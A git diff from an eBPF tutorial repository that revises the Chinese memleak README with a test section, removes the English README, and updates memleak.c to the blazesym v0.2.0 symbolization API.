+在具体的实现中,我们使用了`ATTACH_UPROBE`和`ATTACH_URETPROBE`两个宏来附加uprobes和uretprobes(函数返回探测点)。每个宏都需要三个参数:BPF程序的骨架(skel),要监视的函数名,以及要触发的BPF程序的名称。 + +这些挂载点包括常见的内存分配函数,如malloc、calloc、realloc、mmap、posix_memalign、memalign、free等,以及对应的退出点。另外,我们也观察一些可能的分配函数,如valloc、pvalloc、aligned_alloc等,尽管它们可能不总是存在。 + +这些挂载点的目标是捕获所有可能的内存分配和释放事件,从而使我们的内存泄露检测工具能够获取到尽可能全面的数据。这种方法可以让我们不仅能跟踪到内存分配和释放,还能得到它们发生的上下文信息,例如调用栈和调用次数,从而帮助我们定位和修复内存泄露问题。 + +注意,一些内存分配函数可能并不存在或已弃用,比如valloc、pvalloc等,因此它们的附加可能会失败。在这种情况下,我们允许附加失败,并不会阻止程序的执行。这是因为我们更关注的是主流和常用的内存分配函数,而这些已经被弃用的函数往往在实际应用中较少使用。 + +完整的源代码: 关于如何安装依赖,请参考: + +## 编译运行 + +本实现使用最新的 **blazesym v0.2.0** 库进行符号解析,该库通过 `capi` 包提供了改进的性能和现代化的 C API。 + +```console +$ make +$ sudo ./memleak +using default object: libc.so.6 +using page size: 4096 +tracing kernel: true +Tracing outstanding memory allocs... Hit Ctrl-C to end +[17:17:27] Top 10 stacks with outstanding allocations: +1236992 bytes in 302 allocations from stack + 0 [] + 1 [] + 2 [] + 3 [] + 4 [] + 5 [] + 6 [] +... +``` + +## 测试 memleak + +本仓库包含一个测试程序(`test_memleak.c`),该程序会故意泄漏内存以供测试使用。您可以编译并运行它来验证 memleak 是否能正确检测内存泄漏: + +```console +$ make test_memleak +$ ./test_memleak & +$ sudo ./memleak -p $(pidof test_memleak) +using default object: libc.so.6 +using page size: 4096 +tracing kernel: false +Tracing outstanding memory allocs... Hit Ctrl-C to end +[19:31:49] Top 1 stacks with outstanding allocations: +10240 bytes in 5 allocations from stack + 0 [<00005a7ea0a34212>] leak_with_loop+0x1f + 1 [<00005a7ea0a3428e>] main+0x6e + 2 [<00007b4ea482a1ca>] + 3 [<00007b4ea482a28b>] __libc_start_main+0x8b + 4 [<00005a7ea0a34105>] _start+0x25 +``` + +如上所示,memleak 成功地: +- 检测到 **10240 字节的 5 次分配**(5 × 2048 字节)发生了泄漏 +- 识别出泄漏函数 **leak_with_loop+0x1f** 及其正确的偏移量 +- 提供了完整的调用栈,显示泄漏源自 `main` 函数 +- 使用新的 **blazesym v0.2.0** C API 进行快速准确的符号解析 + +该测试演示了更新 blazesym 库后的 memleak 可以有效地跟踪内存分配,并精确定位导致内存泄漏的函数。 + +## 总结 + +通过本篇 eBPF 入门实践教程,您已经学习了如何编写 Memleak eBPF 监控程序,以实时监控程序的内存泄漏。您已经了解了 eBPF 在内存监控方面的应用,学会了使用 BPF API 编写 eBPF 程序,创建和使用 eBPF maps,并且明白了如何用 eBPF 工具监测和分析内存泄漏问题。我们展示了一个详细的例子,帮助您理解 eBPF 代码的运行流程和原理。 + +您可以访问我们的教程代码仓库 或网站 以获取更多示例和完整的教程。 + +接下来的教程将进一步探讨 eBPF 的高级特性,我们会继续分享更多有关 eBPF 开发实践的内容。希望这些知识和技巧能帮助您更好地了解和使用 eBPF,以解决实际工作中遇到的问题。 + +参考资料: diff --git a/src/16-memleak/README_en.md b/src/16-memleak/README_en.md deleted file mode 100644 index 03d34941..00000000 --- a/src/16-memleak/README_en.md +++ /dev/null @@ -1,447 +0,0 @@ -# eBPF Tutorial by Example 16: Monitoring Memory Leaks - -eBPF (extended Berkeley Packet Filter) is a powerful network and performance analysis tool that is widely used in the Linux kernel. eBPF allows developers to dynamically load, update, and run user-defined code without restarting the kernel or modifying its source code. - -In this tutorial, we will explore how to write a Memleak program using eBPF to monitor memory leaks in programs. - -## Background and Importance - -Memory leaks are a common problem in computer programming and should not be underestimated. When memory leaks occur, programs gradually consume more memory resources without properly releasing them. Over time, this behavior can lead to a gradual depletion of system memory, significantly reducing the overall performance of the program and system. - -There are many possible causes of memory leaks. It may be due to misconfiguration, such as a program incorrectly configuring dynamic allocation of certain resources. It may also be due to software bugs or incorrect memory management strategies, such as forgetting to release memory that is no longer needed during program execution. Additionally, if an application's memory usage is too high, system performance may significantly decrease due to paging/swapping, or it may even cause the application to be forcibly terminated by the system's OOM killer (Out of Memory Killer). - -### Challenges of Debugging Memory Leaks - -Debugging memory leak issues is a complex and challenging task. This involves detailed examination of the program's configuration, memory allocation, and deallocation, often requiring specialized tools to aid in diagnosis. For example, there are tools that can associate malloc() function calls with specific detection tools, such as Valgrind memcheck, which can simulate the CPU to check all memory accesses, but may greatly slow down the application's execution speed. Another option is to use heap analyzers, such as libtcmalloc, which are relatively faster but may still decrease the application's execution speed by more than five times. Additionally, there are tools like gdb that can obtain core dumps of applications and perform post-processing analysis of memory usage. However, these tools often require pausing the application during core dump acquisition or calling the free() function after the application terminates. - -## Role of eBPF - -In this context, the role of eBPF becomes particularly important. eBPF provides an efficient mechanism for monitoring and tracking system-level events, including memory allocation and deallocation. With eBPF, we can trace memory allocation and deallocation requests and collect the call stacks for each allocation. We can then analyze this information to identify call stacks that perform memory allocations but do not perform subsequent deallocations, helping us identify the source of memory leaks. The advantage of this approach is that it can be done in real-time within a running application without pausing the application or performing complex post-processing. - -The `memleak` eBPF tool can trace and match memory allocation and deallocation requests, and collect the call stacks for each allocation. Subsequently, `memleak` can print a summary indicating which call stacks executed allocations but did not perform subsequent deallocations. For example, running the command: - -```console -# ./memleak -p $(pidof allocs) -Attaching to pid 5193, Ctrl+C to quit. -[11:16:33] Top 2 stacks with outstanding allocations: - 80 bytes in 5 allocations from stack - main+0x6d [allocs] - __libc_start_main+0xf0 [libc-2.21.so] - -[11:16:34] Top 2 stacks with outstanding allocations: - 160 bytes in 10 allocations from stack - main+0x6d [allocs] - __libc_start_main+0xf0 [libc-2.21.so] -``` - -After running this command, we can see which stacks the allocated but not deallocated memory came from, as well as the size and quantity of these unreleased memory blocks. - -Over time, it becomes evident that the `main` function of the `allocs` process is leaking memory, 16 bytes at a time. Fortunately, we don't need to inspect each allocation; we have a nice summary that tells us which stack is responsible for the significant leaks. - -## Implementation Principle of memleak - -At a basic level, `memleak` operates by installing monitoring devices on the memory allocation and deallocation paths. It achieves this by inserting eBPF programs into memory allocation and deallocation functions. This means that when these functions are called, `memleak` will record important information, such as the caller's process ID (PID), the allocated memory address, and the size of the allocated memory. When the function for freeing memory is called, `memleak` will delete the corresponding memory allocation record in its internal map. This mechanism allows `memleak` to accurately trace which memory blocks have been allocated but not deallocated.For commonly used memory allocation functions in user space, such as `malloc` and `calloc`, `memleak` uses user space probing (uprobe) technology for monitoring. Uprobe is a dynamic tracing technology for user space applications, which can set breakpoints at any location at runtime without modifying the binary files, thus achieving tracing of specific function calls. - -Uprobe in kernel mode eBPF runtime may also cause relatively large performance overhead. In this case, you can also consider using user mode eBPF runtime, such as [bpftime](https://github.com/eunomia-bpf/bpftime). bpftime is a user mode eBPF runtime based on LLVM JIT/AOT. It can run eBPF programs in user mode and is compatible with kernel mode eBPF, avoiding context switching between kernel mode and user mode, thereby improving the execution efficiency of eBPF programs by 10 times. - -For kernel space memory allocation functions, such as `kmalloc`, `memleak` chooses to use tracepoints for monitoring. Tracepoint is a dynamic tracing technology provided in the Linux kernel, which can dynamically trace specific events in the kernel at runtime without recompiling the kernel or loading kernel modules. - -## Kernel Space eBPF Program Implementation - -## `memleak` Kernel Space eBPF Program Implementation - -The kernel space eBPF program of `memleak` contains some key functions for tracking memory allocation and deallocation. Before delving into these functions, let's first take a look at some data structures defined by `memleak`, which are used in both its kernel space and user space programs. - -```c -#ifndef __MEMLEAK_H -#define __MEMLEAK_H - -#define ALLOCS_MAX_ENTRIES 1000000 -#define COMBINED_ALLOCS_MAX_ENTRIES 10240 - -struct alloc_info { - __u64 size; // Size of allocated memory - __u64 timestamp_ns; // Timestamp when allocation occurs, in nanoseconds - int stack_id; // Call stack ID when allocation occurs -}; - -union combined_alloc_info { - struct { - __u64 total_size : 40; // Total size of all unreleased allocations - __u64 number_of_allocs : 24; // Total number of unreleased allocations - }; - __u64 bits; // Bitwise representation of the structure -}; - -#endif /* __MEMLEAK_H */ -``` - -Here, two main data structures are defined: `alloc_info` and `combined_alloc_info`. - -The `alloc_info` structure contains basic information about a memory allocation, including the allocated memory size `size`, the timestamp `timestamp_ns` when the allocation occurs, and the call stack ID `stack_id` that triggers the allocation. - -The `combined_alloc_info` is a union that contains an embedded structure and a `__u64` type bitwise representation `bits`. The embedded structure has two members: `total_size` and `number_of_allocs`, representing the total size and total count of unreleased allocations, respectively. The numbers 40 and 24 indicate the number of bits occupied by the `total_size` and `number_of_allocs` members, limiting their size. By using this limitation, storage space for the `combined_alloc_info` structure can be saved. Moreover, since `total_size` and `number_of_allocs` share the same `unsigned long long` type variable `bits` for storage, bitwise operations on the member variable `bits` can be used to access and modify `total_size` and `number_of_allocs`, avoiding the complexity of defining additional variables and functions in the program. - -Next, `memleak` defines a series of eBPF maps for storing memory allocation information and analysis results. These maps are defined in the form of `SEC(".maps")`, indicating that they belong to the mapping section of the eBPF program. - -```c -const volatile size_t min_size = 0; -const volatile size_t max_size = -1; -const volatile size_t page_size = 4096; -const volatile __u64 sample_rate = 1; -const volatile bool trace_all = false; -const volatile __u64 stack_flags = 0; -const volatile bool wa_missing_free = false; - -struct { - __uint(type, BPF_MAP_TYPE_HASH); - __type(key, pid_t); - __type(value, u64); - __uint(max_entries, 10240); -} sizes SEC(".maps"); - -struct { - //... (continued)__uint(type, BPF_MAP_TYPE_HASH); - __type(key, u64); /* address */ - __type(value, struct alloc_info); - __uint(max_entries, ALLOCS_MAX_ENTRIES); -} allocs SEC(".maps"); - -struct { - __uint(type, BPF_MAP_TYPE_HASH); - __type(key, u64); /* stack id */ - __type(value, union combined_alloc_info); - __uint(max_entries, COMBINED_ALLOCS_MAX_ENTRIES); -} combined_allocs SEC(".maps"); - -struct { - __uint(type, BPF_MAP_TYPE_HASH); - __type(key, u64); - __type(value, u64); - __uint(max_entries, 10240); -} memptrs SEC(".maps"); - -struct { - __uint(type, BPF_MAP_TYPE_STACK_TRACE); - __type(key, u32); -} stack_traces SEC(".maps"); - -static union combined_alloc_info initial_cinfo; -``` - -The code first defines some configurable parameters, such as `min_size`, `max_size`, `page_size`, `sample_rate`, `trace_all`, `stack_flags`, and `wa_missing_free`, representing the minimum allocation size, maximum allocation size, page size, sample rate, whether to trace all allocations, stack flags, and whether to work in missing free mode. - -Then, five maps are defined: - -1. `sizes`: This is a hash-type map with the key as the process ID and the value as `u64` type, storing the allocation size of each process. -2. `allocs`: This is also a hash-type map with the key as the allocation address and the value as the `alloc_info` structure, storing detailed information about each memory allocation. -3. `combined_allocs`: This is another hash-type map with the key as the stack ID and the value as the `combined_alloc_info` union, storing the total size and count of all unreleased allocations. -4. `memptrs`: This is also a hash-type map with both the key and value as `u64` type, used to pass memory pointers between user space and kernel space. -5. `stack_traces`: This is a stack trace-type map with the key as `u32` type, used to store stack IDs. - -Taking the user-space memory allocation tracing as an example, it mainly hooks memory-related function calls such as `malloc`, `free`, `calloc`, `realloc`, `mmap`, and `munmap` to record data when these functions are called. In user space, `memleak` mainly uses uprobes technology for hooking. - -Each function call is divided into "enter" and "exit" parts. The "enter" part records the function call parameters, such as the size of the allocation or the address being freed. The "exit" part is mainly used to obtain the return value of the function, such as the memory address obtained from the allocation. - -Here, `gen_alloc_enter`, `gen_alloc_exit`, `gen_free_enter` are functions that implement the recording behavior, and they are used to record relevant information when allocation starts, allocation ends, and freeing starts, respectively. - -The function prototype is as follows: - -```c -SEC("uprobe") -int BPF_KPROBE(malloc_enter, size_t size) -{ - // Record relevant information when allocation starts - return gen_alloc_enter(size); -} - -SEC("uretprobe") -int BPF_KRETPROBE(malloc_exit) -{ - // Record relevant information when allocation ends - return gen_alloc_exit(ctx); -} - -SEC("uprobe") -int BPF_KPROBE(free_enter, void *address) -{ - // Record relevant information when freeing starts - return gen_free_enter(address); -} -``` - -`malloc_enter` and `free_enter` are probes mounted at the entry points of the `malloc` and `free` functions, respectively, to record data during function calls. `malloc_exit` is a probe mounted at the return point of the `malloc` function to record the return value of the function. - -These functions are declared using the `BPF_KPROBE` and `BPF_KRETPROBE` macros, which are used to declare kprobes (kernel probes) and kretprobes (kernel return probes), respectively. Specifically, kprobe is triggered during function calls, while kretprobe is triggered during function returns. - -The `gen_alloc_enter` function is called at the beginning of a memory allocation request. This function is mainly responsible for collecting some basic information when the function that allocates memory is called. Now, let's take a deep dive into the implementation of this function. - -```c -static int gen_alloc_enter(size_t size) -{ - if (size < min_size || size > max_size) - return 0; - - if (sample_rate > 1) { - if (bpf_ktime_get_ns() % sample_rate != 0) - return 0; - } - - const pid_t pid = bpf_get_current_pid_tgid() >> 32; - bpf_map_update_elem(&sizes, &pid, &size, BPF_ANY); - - if (trace_all) - bpf_printk("alloc entered, size = %lu\n", size); - - return 0; -} - -SEC("uprobe") -int BPF_KPROBE(malloc_enter, size_t size) -{ - return gen_alloc_enter(size); -} -``` - -First, the `gen_alloc_enter` function takes a `size` parameter that represents the size of the requested memory allocation. If this value is not between `min_size` and `max_size`, the function will return directly without performing any further operations. This allows the tool to focus on tracing memory allocation requests within a specific range and filter out uninteresting allocation requests. - -Next, the function checks the sampling rate `sample_rate`. If `sample_rate` is greater than 1, it means that we don't need to trace all memory allocation requests, but rather trace them periodically. Here, `bpf_ktime_get_ns` is used to get the current timestamp, and the modulus operation is used to determine whether to trace the current memory allocation request. This is a common sampling technique used to reduce performance overhead while providing a representative sample for analysis. - -Then, the function uses the `bpf_get_current_pid_tgid` function to retrieve the current process's PID. Note that the PID here is actually a combination of the process ID and thread ID, and we shift it right by 32 bits to get the actual process ID. - -The function then updates the `sizes` map, which uses the process ID as the key and the requested memory allocation size as the value. `BPF_ANY` indicates that if the key already exists, the value will be updated; otherwise, a new entry will be created. - -Finally, if the `trace_all` flag is enabled, the function will print a message indicating that a memory allocation has occurred. - -The `BPF_KPROBE` macro is used to intercept the execution of the `malloc` function with a BPF uprobe when the `malloc_enter` function is called, and it records the memory allocation size using `gen_alloc_enter`. -We have just analyzed the entry function `gen_alloc_enter` of memory allocation, now let's focus on the exit part of this process. Specifically, we will discuss the `gen_alloc_exit2` function and how to obtain the returned memory address from the memory allocation call. - -```c -static int gen_alloc_exit2(void *ctx, u64 address) -{ - const pid_t pid = bpf_get_current_pid_tgid() >> 32; - struct alloc_info info; - - const u64* size = bpf_map_lookup_elem(&sizes, &pid); - if (!size) - return 0; // missed alloc entry - - __builtin_memset(&info, 0, sizeof(info)); - - info.size = *size;bpf_map_delete_elem(&sizes, &pid); - - if (address != 0) { - info.timestamp_ns = bpf_ktime_get_ns(); - - info.stack_id = bpf_get_stackid(ctx, &stack_traces, stack_flags); - - bpf_map_update_elem(&allocs, &address, &info, BPF_ANY); - - update_statistics_add(info.stack_id, info.size); - } - - if (trace_all) { - bpf_printk("alloc exited, size = %lu, result = %lx\n", - info.size, address); - } - - return 0; -} - -static int gen_alloc_exit(struct pt_regs *ctx) -{ - return gen_alloc_exit2(ctx, PT_REGS_RC(ctx)); -} - -SEC("uretprobe") -int BPF_KRETPROBE(malloc_exit) -{ - return gen_alloc_exit(ctx); -} -``` - -`gen_alloc_exit2` function is called when the memory allocation operation is completed. This function takes two parameters, one is the context `ctx` and the other is the memory address returned by the memory allocation function `address`. - -First, it obtains the PID (Process ID) of the current thread and uses it as a key to look up the corresponding memory allocation size in the `sizes` map. If not found (i.e., no entry for the memory allocation operation), the function simply returns. - -Then, it clears the content of the `info` structure and sets its `size` field to the memory allocation size found in the map. It also removes the corresponding element from the `sizes` map because the memory allocation operation has completed and this information is no longer needed. - -Next, if `address` is not zero (indicating a successful memory allocation operation), the function further collects some additional information. First, it obtains the current timestamp as the completion time of the memory allocation and fetches the current stack trace. These pieces of information are stored in the `info` structure and subsequently updated in the `allocs` map. - -Finally, the function calls `update_statistics_add` to update the statistics data and, if tracing of all memory allocation operations is enabled, it prints some information about the memory allocation operation. - -Note that, `gen_alloc_exit` is a wrapper for `gen_alloc_exit2`, which passes `PT_REGS_RC(ctx)` as the `address` parameter to `gen_alloc_exit2`. - -In our discussion, we just mentioned that `update_statistics_add` function is called in the `gen_alloc_exit2` function to update the statistics data for memory allocations. Now let's take a closer look at the implementation of this function. - -```c -static void update_statistics_add(u64 stack_id, u64 sz) -{ - union combined_alloc_info *existing_cinfo; - - existing_cinfo = bpf_map_lookup_or_try_init(&combined_allocs, &stack_id, &initial_cinfo); - if (!existing_cinfo) - return; - - const union combined_alloc_info incremental_cinfo = { - .total_size = sz, - .number_of_allocs = 1 - }; - - __sync_fetch_and_add(&existing_cinfo->bits, incremental_cinfo.bits); -} -``` - -The `update_statistics_add` function takes two parameters: the current stack ID `stack_id` and the size of the memory allocation `sz`. These two parameters are collected in the memory allocation event and used to update the statistics data for memory allocations.First, the function tries to find the element with the current stack ID as the key in the `combined_allocs` map. If it is not found, a new element is initialized with `initial_cinfo` (which is a default `combined_alloc_info` structure with all fields set to zero). - -Next, the function creates an `incremental_cinfo` and sets its `total_size` to the current memory allocation size and `number_of_allocs` to 1. This is because each call to the `update_statistics_add` function represents a new memory allocation event, and the size of this event's memory allocation is `sz`. - -Finally, the function atomically adds the value of `incremental_cinfo` to `existing_cinfo` using the `__sync_fetch_and_add` function. Note that this step is thread-safe, so even if multiple threads call the `update_statistics_add` function concurrently, each memory allocation event will be correctly recorded in the statistics. - -In summary, the `update_statistics_add` function implements the logic for updating memory allocation statistics. By maintaining the total amount and number of memory allocations for each stack ID, we can gain insight into the memory allocation behavior of the program. - -In our process of tracking memory allocation statistics, we not only need to count memory allocations but also consider memory releases. In the above code, we define a function called `update_statistics_del` that updates the statistics when memory is freed. The function `gen_free_enter` is executed when the process calls the `free` function. - -The `update_statistics_del` function takes the stack ID and the size of the memory block to be freed as parameters. First, the function uses the current stack ID as the key to look up the corresponding `combined_alloc_info` structure in the `combined_allocs` map. If it is not found, an error message is output and the function returns. If it is found, a `decremental_cinfo` `combined_alloc_info` structure is constructed with its `total_size` set to the size of the memory to be freed and `number_of_allocs` set to 1. Then the `__sync_fetch_and_sub` function is used to atomically subtract the value of `decremental_cinfo` from `existing_cinfo`. Note that the `number_of_allocs` here is negative, indicating a decrease in memory allocation. - -The `gen_free_enter` function takes the address to be freed as a parameter. It first converts the address to an unsigned 64-bit integer (`u64`). Then it looks up the `alloc_info` structure in the `allocs` map using the address as the key. If it is not found, the function returns 0. If it is found, the `alloc_info` structure is deleted from the `allocs` map, and the `update_statistics_del` function is called with the stack ID and size from `info`. If `trace_all` is true, an information message is output. - -```c -int BPF_KPROBE(free_enter, void *address) -{ - return gen_free_enter(address); -} -``` - -Next, let's look at the `gen_free_enter` function. It takes an address as a parameter, which is the result of memory allocation, i.e., the starting address of the memory to be freed. The function first uses this address as a key to search for the corresponding `alloc_info` structure in the `allocs` map. If it is not found, it simply returns because it means that this address has not been allocated. If it is found, the element is deleted, and the `update_statistics_del` function is called to update the statistics data. Finally, if global tracking is enabled, a message is also output, including this address and its size. - -While tracking and profiling memory allocation, we also need to track kernel-mode memory allocation and deallocation. In the Linux kernel, the `kmem_cache_alloc` function and the `kfree` function are used for kernel-mode memory allocation and deallocation, respectively. - -```c -SEC("tracepoint/kmem/kfree") -int memleak__kfree(void *ctx) -{ - const void *ptr; - - if (has_kfree()) { - struct trace_event_raw_kfree___x *args = ctx; - ptr = BPF_CORE_READ(args, ptr); - } else { - struct trace_event_raw_kmem_free___x *args = ctx; - ptr = BPF_CORE_READ(args, ptr); - } - - return gen_free_enter(ptr); -} -``` - -The above code snippet defines a function `memleak__kfree`. This is a BPF program that will be executed when the `kfree` function is called in the kernel. First, the function checks if `kfree` exists. If it does, it reads the argument passed to the `kfree` function (i.e., the address of the memory block to be freed) and saves it in the variable `ptr`. Otherwise, it reads the argument passed to the `kmem_free` function (i.e., the address of the memory block to be freed) and saves it in the variable `ptr`. Then, the function calls the previously defined `gen_free_enter` function to handle the release of this memory block. - -```c -SEC("tracepoint/kmem/kmem_cache_alloc") -int memleak__kmem_cache_alloc(struct trace_event_raw_kmem_alloc *ctx) -{ - if (wa_missing_free) - gen_free_enter(ctx->ptr); - - gen_alloc_enter(ctx->bytes_alloc); - - return gen_alloc_exit2(ctx, (u64)(ctx->ptr)); -} -``` - -This code snippet defines a function `memleak__kmem_cache_alloc`. This is also a BPF program that will be executed when the `kmem_cache_alloc` function is called in the kernel. If the `wa_missing_free` flag is set, it calls the `gen_free_enter` function to handle possible missed release operations. Then, the function calls the `gen_alloc_enter` function to handle memory allocation and finally calls the `gen_alloc_exit2` function to record the allocation result. - -Both of these BPF programs use the `SEC` macro to define the corresponding tracepoints, so that they can be executed when the corresponding kernel functions are called. In the Linux kernel, a tracepoint is a static hook that can be inserted into the kernel to collect runtime kernel information. It is very useful for debugging and performance analysis. - -In the process of understanding this code, pay attention to the use of the `BPF_CORE_READ` macro. This macro is used to read kernel data in BPF programs. In BPF programs, we cannot directly access kernel memory and need to use such macros to safely read data. - -### User-Space Program - -After understanding the BPF kernel part, let's switch to the user-space program. The user-space program works closely with the BPF kernel program. It is responsible for loading BPF programs into the kernel, setting up and managing BPF maps, and handling data collected from BPF programs. The user-space program is longer, but here we can briefly refer to its mount point. - -```c -int attach_uprobes(struct memleak_bpf *skel) -{ - ATTACH_UPROBE_CHECKED(skel, malloc, malloc_enter); - ATTACH_URETPROBE_CHECKED(skel, malloc, malloc_exit); - ATTACH_UPROBE_CHECKED(skel, calloc, calloc_enter); - ATTACH_URETPROBE_CHECKED(skel, calloc, calloc_exit); - - ATTACH_UPROBE_CHECKED(skel, realloc, realloc_enter); - ATTACH_URETPROBE_CHECKED(skel, realloc, realloc_exit); - - ATTACH_UPROBE_CHECKED(skel, mmap, mmap_enter); - ATTACH_URETPROBE_CHECKED(skel, mmap, mmap_exit); - - ATTACH_UPROBE_CHECKED(skel, posix_memalign, posix_memalign_enter); - ATTACH_URETPROBE_CHECKED(skel, posix_memalign, posix_memalign_exit); - - ATTACH_UPROBE_CHECKED(skel, memalign, memalign_enter); - ATTACH_URETPROBE_CHECKED(skel, memalign, memalign_exit); - - ATTACH_UPROBE_CHECKED(skel, free, free_enter); - ATTACH_UPROBE_CHECKED(skel, munmap, munmap_enter); - - // the following probes are intentionally allowed to fail attachment - - // deprecated in libc.so bionic - ATTACH_UPROBE(skel, valloc, valloc_enter); - ATTACH_URETPROBE(skel, valloc, valloc_exit); - - // deprecated in libc.so bionic - ATTACH_UPROBE(skel, pvalloc, pvalloc_enter); - ATTACH_URETPROBE(skel, pvalloc, pvalloc_exit); - - // added in C11 - ATTACH_UPROBE(skel, aligned_alloc, aligned_alloc_enter); - ATTACH_URETPROBE(skel, aligned_alloc, aligned_alloc_exit); - - return 0; -} -``` - -In this code snippet, we see a function called `attach_uprobes` that mounts uprobes (user space probes) onto memory allocation and deallocation functions. In Linux, uprobes are a kernel mechanism that allows setting breakpoints at arbitrary locations in user space programs, enabling precise observation and control over the behavior of user space programs. - -Here, each memory-related function is traced using two uprobes: one at the entry (enter) of the function and one at the exit. Thus, every time these functions are called or return, a uprobes event is triggered, which in turn triggers the corresponding BPF program. - -In the actual implementation, we use two macros, `ATTACH_UPROBE` and `ATTACH_URETPROBE`, to attach uprobes and uretprobes (function return probes), respectively. Each macro takes three arguments: the skeleton of the BPF program (skel), the name of the function to monitor, and the name of the BPF program to trigger. - -These mount points include common memory allocation functions such as malloc, calloc, realloc, mmap, posix_memalign, memalign, free, and their corresponding exit points. Additionally, we also observe some possible allocation functions such as valloc, pvalloc, aligned_alloc, although they may not always exist. - -The goal of these mount points is to capture all possible memory allocation and deallocation events, allowing our memory leak detection tool to obtain as comprehensive data as possible. This approach enables us to track not only memory allocation and deallocation but also their contextual information such as call stacks and invocation counts, helping us to pinpoint and fix memory leak issues. - -Note that some memory allocation functions may not exist or may have been deprecated, such as valloc and pvalloc. Thus, their attachment may fail. In such cases, we allow for attachment failures, which do not prevent the program from executing. This is because we are more focused on mainstream and commonly used memory allocation functions, while these deprecated functions are often used less frequently in practical applications. - -Complete source code: - -Reference: - -## Compile and Run - -```console -$ make -$ sudo ./memleak -using default object: libc.so.6 -using page size: 4096 -tracing kernel: true -Tracing outstanding memory allocs... Hit Ctrl-C to end -[17:17:27] Top 10 stacks with outstanding allocations: -1236992 bytes in 302 allocations from stack - 0 [] - 1 [] - 2 [] - 3 [] - 4 [] - 5 [] - 6 [] -... -``` - -## Summary - -Through this eBPF introductory tutorial, you have learned how to write a Memleak eBPF monitoring program to monitor memory leaks in real time. You have also learned about the application of eBPF in memory monitoring, how to write eBPF programs using the BPF API, create and use eBPF maps, and how to use eBPF tools to monitor and analyze memory leak issues. We have provided a detailed example to help you understand the execution flow and principles of eBPF code. - -You can visit our tutorial code repository at or website for more examples and complete tutorials. - -> The original link of this article: diff --git a/src/16-memleak/memleak.c b/src/16-memleak/memleak.c index fa47b879..72e86e63 100644 --- a/src/16-memleak/memleak.c +++ b/src/16-memleak/memleak.c @@ -133,7 +133,7 @@ static int event_notify(int fd, uint64_t event); static pid_t fork_sync_exec(const char *command, int fd); -static void print_stack_frame_by_blazesym(size_t frame, uint64_t addr, const blazesym_csym *sym); +static void print_stack_frame_by_blazesym(size_t frame, uint64_t addr, const struct blaze_sym *sym); static void print_stack_frames_by_blazesym(); static int print_stack_frames(struct allocation *allocs, size_t nr_allocs, int stack_traces_fd); @@ -205,8 +205,7 @@ static struct sigaction sig_action = { static int child_exec_event_fd = -1; -static blazesym *symbolizer; -static sym_src_cfg src_cfg; +static blaze_symbolizer *symbolizer; static void (*print_stack_frames_func)(); static uint64_t *stack; @@ -302,14 +301,8 @@ int main(int argc, char *argv[]) goto cleanup; } - if (env.pid < 0) { - src_cfg.src_type = SRC_T_KERNEL; - src_cfg.params.kernel.kallsyms = NULL; - src_cfg.params.kernel.kernel_image = NULL; - } else { - src_cfg.src_type = SRC_T_PROCESS; - src_cfg.params.process.pid = env.pid; - } + // Symbolization source is now set up in print_stack_frames_by_blazesym() + // based on env.kernel_trace and env.pid // allocate space for storing "allocation" structs if (env.combined_only) @@ -395,9 +388,9 @@ int main(int argc, char *argv[]) } } - symbolizer = blazesym_new(); + symbolizer = blaze_symbolizer_new(); if (!symbolizer) { - fprintf(stderr, "Failed to load blazesym\n"); + fprintf(stderr, "Failed to create blazesym symbolizer\n"); ret = -ENOMEM; goto cleanup; @@ -439,7 +432,7 @@ int main(int argc, char *argv[]) } cleanup: - blazesym_free(symbolizer); + blaze_symbolizer_free(symbolizer); memleak_bpf__destroy(skel); free(allocs); @@ -636,54 +629,67 @@ pid_t fork_sync_exec(const char *command, int fd) return pid; } -void print_stack_frame_by_blazesym(size_t frame, uint64_t addr, const blazesym_csym *sym) +void print_stack_frame_by_blazesym(size_t frame, uint64_t addr, const struct blaze_sym *sym) { - if (!sym) + if (!sym || !sym->name) printf("\t%zu [<%016lx>] <%s>\n", frame, addr, "null sym"); - else if (sym->path && strlen(sym->path)) - printf("\t%zu [<%016lx>] %s+0x%lx %s:%ld\n", frame, addr, sym->symbol, addr - sym->start_address, sym->path, sym->line_no); + else if (sym->code_info.file && strlen(sym->code_info.file)) + printf("\t%zu [<%016lx>] %s+0x%zx %s:%u\n", frame, addr, sym->name, sym->offset, sym->code_info.file, sym->code_info.line); else - printf("\t%zu [<%016lx>] %s+0x%lx\n", frame, addr, sym->symbol, addr - sym->start_address); + printf("\t%zu [<%016lx>] %s+0x%zx\n", frame, addr, sym->name, sym->offset); } void print_stack_frames_by_blazesym() { - const blazesym_result *result = blazesym_symbolize(symbolizer, &src_cfg, 1, stack, env.perf_max_stack_depth); + const struct blaze_syms *syms; + + // Choose symbolization source based on kernel_trace flag + if (env.kernel_trace) { + const struct blaze_symbolize_src_kernel src = { + .type_size = sizeof(src), + .kallsyms = NULL, + .vmlinux = NULL, + .debug_syms = false, + .reserved = {0}, + }; + syms = blaze_symbolize_kernel_abs_addrs(symbolizer, &src, stack, env.perf_max_stack_depth); + } else { + const struct blaze_symbolize_src_process src = { + .type_size = sizeof(src), + .pid = env.pid, + }; + syms = blaze_symbolize_process_abs_addrs(symbolizer, &src, stack, env.perf_max_stack_depth); + } + + if (!syms) { + fprintf(stderr, "Failed to symbolize addresses\n"); + return; + } - for (size_t j = 0; j < result->size; ++j) { + for (size_t j = 0; j < syms->cnt; ++j) { const uint64_t addr = stack[j]; if (addr == 0) break; - // no symbol found - if (!result || j >= result->size || result->entries[j].size == 0) { - print_stack_frame_by_blazesym(j, addr, NULL); + const struct blaze_sym *sym = &syms->syms[j]; - continue; - } + // Print main symbol + print_stack_frame_by_blazesym(j, addr, sym); - // single symbol found - if (result->entries[j].size == 1) { - const blazesym_csym *sym = &result->entries[j].syms[0]; - print_stack_frame_by_blazesym(j, addr, sym); - - continue; - } - - // multi symbol found - printf("\t%zu [<%016lx>] (%lu entries)\n", j, addr, result->entries[j].size); - - for (size_t k = 0; k < result->entries[j].size; ++k) { - const blazesym_csym *sym = &result->entries[j].syms[k]; - if (sym->path && strlen(sym->path)) - printf("\t\t%s@0x%lx %s:%ld\n", sym->symbol, sym->start_address, sym->path, sym->line_no); - else - printf("\t\t%s@0x%lx\n", sym->symbol, sym->start_address); + // Print inlined function calls if any + if (sym->inlined_cnt > 0) { + for (size_t k = 0; k < sym->inlined_cnt; ++k) { + const struct blaze_symbolize_inlined_fn *inlined = &sym->inlined[k]; + if (inlined->code_info.file && strlen(inlined->code_info.file)) + printf("\t\t[inlined] %s %s:%u\n", inlined->name, inlined->code_info.file, inlined->code_info.line); + else + printf("\t\t[inlined] %s\n", inlined->name); + } } } - 